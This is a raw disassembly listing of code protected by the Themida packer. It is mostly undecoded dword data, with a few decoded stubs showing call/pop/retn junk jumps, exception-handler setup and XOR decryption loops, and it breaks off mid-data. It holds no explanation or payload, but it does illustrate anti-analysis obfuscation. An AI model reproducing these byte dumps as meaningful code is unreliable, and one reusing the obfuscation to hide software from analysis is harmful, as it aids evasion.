0BD8B0000h, 6151A69h dd 3585FF5Fh, 6A061515h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 78B4A933h, 66A60174h dd 0FF4A38BFh, 152921B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0B1022938h dd 0EE920h, 6AE20000h, 71941453h, 259E70B9h, 0EFAAAEh dd 280D9D8Bh, 95FF0615h, 61508BDh, 135E9h, 0DFBF0F00h dd 958900B0h, 6152A5Dh, 8D8970E6h, 6150E01h, 0B70F71E4h dd 0F613CDFh, 11583h, 6E85300h, 64000000h, 0EA3FD063h dd 5B5FFC7Dh, 0FC8B60Fh, 1881h, 13E900h, 54720000h, 0F7B1A3ECh dd 835F6BBCh, 5768C369h, 0C75B165Bh, 6BA28h, 0C18B0000h dd 0EE8FC60h, 8D000000h, 79177E17h, 95725916h, 43B6D1C5h dd 0E595091Eh, 5B061506h, 4E8C161h, 4A99D8Bh, 0F7660615h dd 29DA8BE2h, 150C6D8Dh, 89C82B06h, 15216D85h, 12E806h dd 47B60000h, 3258CEAFh, 0F919B677h, 5031E521h, 330FED8Ah dd 6840Fh, 0CF810000h, 765B23DEh, 8BD18B5Fh, 1503F59Dh dd 74E906h, 0E3810000h, 20719AC5h, 22299589h, 858B0615h dd 1, 7E59D89h, 0B5890615h, 6150A95h, 6607C083h, 794BDF81h dd 5700C083h, 174DBD01h, 3B5B0615h, 8830FD0h, 8B000000h dd 34E9FEh, 8BF50000h, 0FFFFFF8Dh, 0DA8B66FFh, 0F01E183h dd 2184h, 3CBB6600h, 0FFA5836Eh, 0FEFFFFFFh, 0E9E78166h dd 19589B7h, 89000000h, 1521E5BDh, 0E906h, 0B58D0000h dd 6195347h, 2F219D8Bh, 0BD890615h, 6150ACDh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 20CE27C3h, 60D2C5FCh, 20FD8D31h, 0B5890615h, 6150DC9h dd 8DB58961h, 0FF061517h, 152E2195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 78F2E5D8h dd 608BC312h, 0BFF88B7Ah, 4D4DBD47h, 0E8DB9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E1E33547h, 53BEA2E2h, 0FCE18368h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0CCC35545h, 0A4F1B7FBh, 9BAE441Ah dd 6AFCDA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0DA2AC353h, 6CB4FD50h, 15958931h dd 89061502h, 15054D8Dh, 0B806h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EEA11EC3h dd 0BA3CC5h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4CAAC353h, 10E9h, 0A1657800h dd 0D94C90EBh, 745243CAh, 0D68543B3h, 0C233AD8Bh, 0D003E8D1h dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0E2E3207Bh, 8E9h, 0C6349000h, 90C49262h dd 880D0Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 3D6729C3h, 0A1AEEA46h, 21958BDEh dd 0E9061527h, 0Fh, 9425FC00h, 0E5A94220h, 41C7EAC9h, 0F0EEF58h dd 68Eh, 119D0900h, 8B061501h, 1504CD8Dh, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8CFA4283h, 4274E332h, 62BF66B5h, 0C28B5074h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2DCC351h dd 0DB8F6EE9h, 292981DFh, 0D5858960h, 0B8061525h, 375A9413h dd 318D8961h, 6A061505h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 94DAC353h, 0F275F5AFh dd 7E9F568h, 0B5000000h, 25910D92h, 0BD83F797h, 61518A9h dd 0B0840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 843EC357h, 3F282C25h dd 0E9163AF2h, 7, 0E31A9DA4h, 0B88F501Ch, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C76BB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C76BB proc near ; CODE XREF: Themida_:005C76B3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5C76BB endp ; --------------------------------------------------------------------------- retf 5440h ; --------------------------------------------------------------------------- mov edi, [ebp+615093Dh] or [ebp+6151031h], edi lea ecx, [ebp+6154F9Eh] push 0 push edi call sub_5C76EB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C76EB proc near ; CODE XREF: Themida_:005C76E3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5C76EB endp ; --------------------------------------------------------------------------- db 2Fh dd 0E92ACE51h, 7, 572A5FFCh, 0F5429AEDh, 6AE1FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 830623C3h, 151115BDh, 840F0006h, 533h, 12E8h, 3EBAEC00h dd 0B6EE40E4h, 419D5532h, 23BCEFD6h, 66FDFF53h, 5FEA9ABFh dd 1115BD83h, 0F010615h, 52584h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 95896021h dd 6150829h, 1D498D01h, 83610615h, 151115BDh, 860F0306h dd 4B8h, 0DF8B6652h, 6A605Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 793820C3h, 5B4EF101h dd 8B6601DFh, 0D98C66FAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 6C35141h, 5EB5B6ABh, 6E0CE8F9h, 8E8D4h dd 8F9D0000h, 82E2090h, 0BF66F0B5h, 0E85F76ECh, 10h, 0C7F311B5h dd 27C38EF0h, 33FDC9DEh, 0ACEA0CA4h, 10D2BB66h, 4E1805Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EC35040h dd 8162CFF0h, 13CFA3EFh, 419D8918h, 0A061503h, 5B840FC9h dd 89000001h, 150BE995h, 9D858B06h, 66061524h, 0B5CEE381h dd 19B58533h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8B50F2C3h, 240489D8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A1C35747h, 6236DF1Ah dd 6AA3E780h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E813FE9Dh, 4, 1F03FFh, 0E8605250h dd 9, 0F72B8B5Ch, 0D1DFEB86h, 8B665EC8h, 310F61D8h, 9E8h dd 6CF5B400h, 833A0180h, 830F1FDAh, 0 ; --------------------------------------------------------------------------- pop edi pop edx pop eax push eax mov ebx, 7E1DEDC3h mov eax, [esp+4] mov bx, 398Dh mov eax, [eax] mov bl, 89h mov [esp+4], eax mov ebx, 1FB5F26Eh pop eax push 0 push eax call sub_5C792A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C792A proc near ; CODE XREF: Themida_:005C7922p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C792A endp ; --------------------------------------------------------------------------- mov edx, 7DD66F27h fsubr st, st(2) rol byte ptr [esi+5E8DEh], 0 add [eax+ebp], ah mov edi, 616060A7h mov [ebp+6150CCDh], edi popa pop ebx call dword ptr [ebp+6150DADh] jmp loc_5C7977 ; --------------------------------------------------------------------------- dd 0D4A0D40Ch, 7D98DE54h, 58A85DFAh, 6D9BDDFCh db 65h, 44h, 23h ; --------------------------------------------------------------------------- loc_5C7977: ; CODE XREF: Themida_:005C795Fj mov [ebp+618BF99h], eax sub edi, [ebp+6150865h] jmp loc_5C7B9B ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C7993 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7993 proc near ; CODE XREF: Themida_:005C798Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C7993 endp ; --------------------------------------------------------------------------- db 0F7h dd 23410055h, 858B97C6h, 618BF91h, 8E8h, 7A226F00h, 47620DBDh dd 69BD895Bh, 5F061500h, 1800C7h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 3C0222C3h dd 85D46F95h, 1DBD0351h, 8B061516h, 18BF95B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0D8E53E9Dh, 0F19D8942h, 0F061509h, 680h, 0F99D8B00h dd 8B061511h, 150C4585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 3E65DF9Fh, 7DA442FDh dd 99BD8B6Eh, 8B061508h, 1503219Dh, 0F068906h, 858BD9B7h dd 615249Dh, 169D9529h, 46890615h, 10E804h, 9CE70000h dd 697A3667h, 22BF7A14h, 9D8E62EAh, 810FB44Ch, 6, 2072F381h dd 505F2C35h, 6E9h, 3DE43100h, 893E4135h, 6A2434h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0AC7286C3h, 43BBBB1Eh, 0FF6D1361h, 18BF91B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0C72390E8h, 66FA8B66h, 689846BBh, 0DD329E34h, 198E0Fh dd 14E90000h, 9B000000h, 14486627h, 1F1EE8CBh, 46C478A4h dd 26B9DFC3h, 8189A1D3h, 65CB2404h, 6A22ECh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0ED6799C3h dd 0BF99858Dh, 0E8500618h, 10h, 0DB3812D7h, 0E06846h, 0A0D5522h dd 413E61C9h, 2404895Fh, 53E38166h, 0AD95FF4Ah, 6A06150Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 4304C357h, 0FA729CA4h, 8D89605Ch, 615045Dh dd 816AC681h db 0E5h, 68h, 61h ; --------------------------------------------------------------------------- loc_5C7B9B: ; CODE XREF: Themida_:005C7983j popa push 0 push ebp call sub_5C7BA7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7BA7 proc near ; CODE XREF: Themida_:005C7B9Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C7BA7 endp ; --------------------------------------------------------------------------- db 3Eh ; --------------------------------------------------------------------------- xchg esi, [edi+1585C70Eh] adc large ds:306h, edx add [edx+0], ch push ebx call sub_5C7BD0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7BD0 proc near ; CODE XREF: Themida_:005C7BC8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C7BD0 endp ; --------------------------------------------------------------------------- sub esp, ebp xor edi, [ebp+61517F1h] cmp dword ptr [ebp+618BF99h], 0 jz loc_5C7C50 push 0 push ebx call sub_5C7C00 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7C00 proc near ; CODE XREF: Themida_:005C7BF8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5C7C00 endp ; --------------------------------------------------------------------------- dd 309E551Dh, 0E9189BE2h, 4Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0ABC35545h, 68E0Fh, 9D010000h dd 61516F1h, 1E91BD33h, 0BD890615h, 6153015h ; --------------------------------------------------------------------------- loc_5C7C50: ; CODE XREF: Themida_:005C7BEFj ; Themida_:005C7C67j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C7C50 jmp short loc_5C7CA1 ; --------------------------------------------------------------------------- loc_5C7C6B: ; CODE XREF: Themida_:005C7C82j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C7C6B jmp short loc_5C7CA1 ; --------------------------------------------------------------------------- loc_5C7C86: ; CODE XREF: Themida_:005C7C9Dj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C7C86 jmp short $+2 loc_5C7CA1: ; CODE XREF: Themida_:005C7C69j ; Themida_:005C7C84j mov eax, eax push 0 push ecx call sub_5C7CAE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7CAE proc near ; CODE XREF: Themida_:005C7CA6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5C7CAE endp ; --------------------------------------------------------------------------- xor [esi+52006ACEh], al call sub_5C7CCC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7CCC proc near ; CODE XREF: Themida_:005C7CC4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C7CCC endp ; --------------------------------------------------------------------------- dd 81A3C76Ch, 48B2EDE3h, 12E93Ch, 646A0000h, 0EEFEDE02h dd 1080D584h, 7813BD18h, 0BA6B39CDh, 1115BD83h, 0F030615h dd 48085h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 68524FFEh, 6476914Ch, 13E9504Eh dd 24000000h, 0D3ADAE3Eh, 0CF210316h, 57B86C0Dh, 0DEEF686Bh dd 8D093A81h, 6152309h, 0BF99BD83h, 0F000618h, 43084h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0BF66A1E4h, 0B5FF2CCEh, 618BF99h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 16C35545h, 57A75B36h dd 0F041AF20h, 10E195FFh, 6A0615h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 97BBC3C3h, 7CB0363Dh dd 0B58B918Ah, 618BF8Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 49C35545h, 106C7BDh, 8B000100h, 1522D9BDh dd 0D7B75006h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 6AE9C355h, 17482FA8h dd 66BEA893h, 8E3FF381h, 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 2A2E92C3h dd 5F2F7590h, 95096BA7h, 6152789h, 6A195FFh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 749F17C3h, 0CE9h, 8BB8600h, 6B29C3B8h, 0D1E7368Ah, 8DB58BE0h dd 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0D71EC355h, 0DA8B66CFh, 10E8h dd 392BA500h, 0D0E6F129h, 0E2DB1458h, 716CF4E4h, 108A0F01h dd 0E8000000h, 0Ah, 8108BAAEh, 4514823Ch, 5B5B2588h, 59858Bh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 606EC9C3h, 28658D29h, 0BD8B0615h, 6150641h dd 0C4868961h, 29000000h, 152D01B5h, 21958B06h, 0F061527h dd 685h, 5858900h, 0F061517h, 80h, 4C28300h, 76E78166h dd 2050898Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 71C35343h, 86BB725h, 13E9h, 8C190300h, 7B462C1Bh dd 7A44F6A3h, 24341E4Fh, 0C08DFCCh, 0D458858Dh, 8B660618h dd 0B88689D9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 881EC355h, 96673CD4h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 28F816C3h, 2FEAE15Bh, 1A159D89h, 0B5FF0615h dd 618BF99h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 87C35343h, 0C878688Eh, 2EFB4599h, 1D4D95FFh, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0F82C55C3h, 99BD2B6Eh, 9606150Dh, 94805EBFh, 0FC8A504Eh dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0ED1DA093h, 0B5FF2298h, 618BF99h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 79C35747h, 29E0B5F8h dd 1511C5BDh, 2995FF06h, 6A061507h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 898BC352h dd 1533E18Dh, 65BD8306h, 61500h, 23840Fh, 0F98B0000h, 100D9D2Bh dd 50500615h, 66310F52h, 5A9C86BBh, 24348958h, 0BD895660h dd 615302Dh, 0DAB70F5Bh, 99B5FF61h, 6A0618BFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0CF00C353h, 19EC2AF2h, 4B96D67h, 229D8589h, 95FF0615h dd 6150439h, 0BF99B5FFh, 0BD8B0618h, 6150C09h, 0DCD95FFh dd 81660615h, 835555EFh, 15285DBDh, 840F0206h, 25h, 5E8h dd 0AA327D00h, 9D8B377Bh, 6150265h, 49858B5Fh, 8B061528h dd 1508A1BDh, 0C606h, 0C2C383BFh, 0F585C73Fh, 61523h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0B1D8C350h, 8937E61Eh, 15127D85h, 0F0B5E906h dd 9D89FFFFh, 615300Dh, 6AC18Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 63B1D7C3h, 0E763490Fh dd 0F3C78156h, 5F35ED8Ah, 279D858Dh, 81660615h, 1363EE3h dd 1509A19Dh, 0F509006h, 87h, 0BD899000h, 6152B3Dh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 3F0F2C3h, 739BDB9Bh, 8B44D163h, 0C59D8BDFh, 6A061503h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0E18D89B6h, 8D061506h, 19E99C85h, 0DE8B6606h dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 7982C351h, 107CF68Bh, 4CE78166h dd 52509057h, 12BF310Fh, 5A3B3DE0h, 0BB665058h, 6A90A72Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0D3B4C353h, 94328FCFh, 6ADE8B87h, 14DF8100h dd 6A4E687Eh, 0FFFE8B00h, 15267995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 32CC29EAh dd 0B6BFA923h, 8D5A47B4h, 189C158Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BD884DF8h dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0A310B1C3h, 0E6733075h, 60B3A532h, 2DB5BD83h dd 0F010615h, 9E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B251AB97h, 872F2DA4h dd 8CE745BBh, 6A026A53h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0F625C350h, 0E5BD8966h dd 89061518h, 1502CD8Dh, 0BF669006h, 0E9500B9Fh, 10h, 4C7475FFh dd 0FCB1867Dh, 7D5A5EE4h, 0FCC3DD34h, 99D0B90h, 0FF061525h dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0DD1AAF73h, 0E9F519D9h, 0D96h, 0E8h dd 0ED815D00h, 619E9A6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F7C35545h, 244E307Ah, 0E3E4EF8Eh, 65BD8B86h dd 6A061526h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 6E4CC351h, 858D8114h, 61888F9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8CC35343h dd 8B6650F9h, 240489DEh, 68C0Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- or edi, 0BA26445h push large dword ptr fs:0 push 0 push ebp call sub_5C8474 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8474 proc near ; CODE XREF: Themida_:005C846Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C8474 endp ; --------------------------------------------------------------------------- dd 0B3BF9147h, 68F0FBCh, 81000000h, 0ADCA16E3h, 25896406h dd 0 dd 8A0Fh, 85010000h, 61520CDh, 153585FFh, 6A0615h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 645B2C3h, 0C0B6FC9Bh, 0FF6A0352h, 0BD8BF98Bh, 6152D01h dd 2339B5FFh, 0FFF90615h, 1508BD95h, 11BE906h, 85090000h dd 615263Dh, 0EBB300B0h, 21BF70E6h, 0E40609BBh, 0E870F71h dd 0E9000000h, 9, 0AB2F018Fh, 0AC598889h, 0F613C4Fh, 0EC83h dd 0D1952900h, 89061526h, 15212985h, 0C8B60F06h, 69DF8166h dd 6BA7Eh, 0DE90000h, 2D000000h, 0EFAFEE6Bh, 30EAA87Fh dd 29D1CDEh, 0BD29C18Bh, 61507E5h, 8904E8C1h, 15043D95h dd 0E2F76606h, 8D0Fh, 0C82B0000h, 8509D18Bh, 61511C9h dd 98E9h, 31BF6600h, 4858BFFh, 0F000000h, 0C8Ah, 6850F00h dd 89000000h, 15116595h, 7C08306h, 419BD03h, 9D8B0615h dd 6150CE9h, 8B00C083h, 1505999Dh, 0FD03B06h, 1783h, 95BB6600h dd 2D9D03BFh, 0E906152Ah, 4Dh, 0F19D8B53h, 5B061509h, 0FFFF8D8Bh dd 0FB8BFFFFh, 0F01E183h, 3484h, 19BD8B00h, 8306150Dh dd 0FFFFFFA5h, 0BF66FEFFh, 0E960CE5Ah, 8, 0D50490h, 1E7EECC1h dd 2D358D03h, 89610615h, 495h, 0F8B70F00h, 0E9h, 0D4B58D00h dd 0E9061961h, 7, 4EE7CD66h, 6A17CB31h, 0F98B6600h, 2E2195FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0D2B144C3h, 0B70F5658h, 0D0B95BFEh, 8900000Fh dd 1513419Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 5AC35747h, 0E59D89FCh, 0FC061518h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 72C35646h, 7A6E1AD6h dd 0B509A771h, 61519F1h, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 98BF668Ch dd 0BA66h, 0D98A0000h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h dd 9AE40827h, 2860F33h, 8B000000h, 33E380D8h, 2155BD8Bh dd 880D0615h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F28C351h, 284h, 8BD88B00h dd 15272195h, 0CD8D8B06h, 0F061504h, 588h, 0E3805700h dd 8B505F77h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0F4B83CBFh, 57006A0Ah, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0A4B4B564h, 2375ACBFh dd 9D8BBFDAh, 6151611h, 18A9BD83h, 0F000615h, 4284h, 8284BF00h dd 0B87EC0h, 0BF000000h, 5289A917h, 4F9E8D8Dh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 68050CC3h, 55BBE9B9h, 0FF24E06Ch, 119D8BE1h, 83061518h dd 151115BDh, 840F0006h, 4D9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 91C35141h, 0F50985Bh, 689h dd 0F1D78100h, 91C8BFBh, 1512B595h, 15BD8306h, 1061511h dd 4B6840Fh, 0D88B0000h, 1115BD83h, 0F030615h, 47186h dd 0DE8B6600h, 6CD38160h, 660CF3E8h, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8A4060C3h dd 8BCF647Dh, 4E180F9h, 27999529h, 0C90A0615h, 163840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0F53C1C3h, 280h, 5B5F5600h, 249D858Bh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0C2FDBEC3h, 6B005FF2h, 8533DA33h, 61519B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8BC35343h, 0FB5EE79Dh dd 0AE990h, 0FF2F0000h, 448706B9h, 0CE52AC5h, 0EBB5050h dd 5F046E08h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 6A54F6h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 1CC35343h, 9BB8F0C1h, 799BD8Bh dd 7A680615h, 60F2AF86h, 0BD0FBF66h, 11E957h, 0A9090000h dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 5E04378Fh, 24048161h dd 0D6F7D85h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0ACC35242h, 958B6027h, 61512D1h, 8018D29h, 0FF610615h dd 150DAD95h, 2D858906h, 8906152Ah, 18BF9985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 28E90545h, 81000002h, 48AD3ECBh, 91858B25h, 6A0618BFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 90E8C353h, 0FF20C723h, 0CE8h, 34A81900h dd 92BFAA5Eh, 2291E05Fh, 5E85F7Ch, 66000000h, 81A85C73h dd 2E1DBD89h, 0C75F0615h, 1800h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 6F7C8344h dd 168D0Fh, 0AE80000h, 0E1000000h, 0F09D6ACCh, 0DC55EBA4h dd 0F59D8B14h, 5F061500h, 0BF95B58Bh, 66600618h, 3EBFEE81h dd 858B61F9h, 6150C45h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0C8C35040h, 0FEC5A0ABh, 9D315D8Bh, 6151CD9h dd 2A1DBD23h, 6890615h, 369B589h, 858B0615h, 615249Dh dd 41858960h, 0E8061502h, 5, 248FD1DCh, 896158F9h, 6A0446h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 7475FFC3h, 0B1867D4Ch, 50D98AFCh, 52958DBFh, 2434893Eh dd 8A9BD8Bh, 0B5FF0615h, 618BF91h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0A5C35141h, 92857797h, 0DB589FDh dd 8906151Ah, 15267195h, 0EAB66806h, 59B38CB4h, 49240481h dd 6A736A19h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0F26CC350h, 0D02500D9h, 8DDF8B66h dd 18BF9985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0A99D236Ch, 0E906152Ah, 0Ah, 19B88E57h dd 85671DBh, 6690984Dh, 508B15BFh, 5B525757h, 6A905B5Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0F005C353h, 0F768633Ch, 2D95311Dh, 0FF06152Fh dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0BD07737Fh, 11B53178h, 61061516h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h dd 4199D8Bh, 85C70615h, 6151115h, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 11C35242h, 1ED07C36h, 0BF0F03F7h dd 835F56DBh, 18BF99BDh, 840F0006h, 4Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 